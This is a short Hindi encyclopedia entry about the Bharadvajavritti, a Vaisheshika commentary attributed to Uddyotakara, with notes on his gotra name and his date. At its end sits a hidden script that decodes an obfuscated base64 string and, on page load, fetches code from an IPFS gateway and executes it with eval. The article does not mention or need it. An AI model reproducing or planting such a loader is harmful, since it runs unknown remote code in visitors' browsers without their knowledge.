भारद्वाजवृत्ति

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

उद्योतकर रचित भारद्वाजवृत्ति

  • शंकर मिश्र ने उपस्कार में धर्म के लक्षण का निरूपण करते हुए किसी वृत्तिकार के आशय को उद्धृत किया है।
  • शंकर मिश्र ने जिस वृत्ति क उल्लेख किया, वह भारद्वाज कृत वृत्ति है।
  • यह विचार न्यायकन्दली की भूमिका में श्रीविन्ध्येश्वरी प्रसाद शास्त्री ने भी व्यक्त किया है।
  • न्यायवार्तिक के रचयिता उद्योतकर का वैशेषिक में भी समान अधिकार था।
  • वैशेषिक के रूप में भी उद्योतकर की ख्याति है।
  • तत्कालीन अपव्याख्यानों से उद्विग्न होकर ही सम्भवत: उद्योतकर न यह वृत्ति लिखी थी।
  • न्यायवार्तिक में वैशेषिक सूत्र का यत्र तत्र पर्याप्त उल्लेख है। अत: ऐसा प्रतीत होता है कि उद्योतकर भारद्वाज ने ही यह वृत्ति लिखी होगी।
  • भारद्वाज उद्योतकर का गोत्रनाम था।
  • उद्योतकर का समय 600 शती ई. माना जाता है।



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>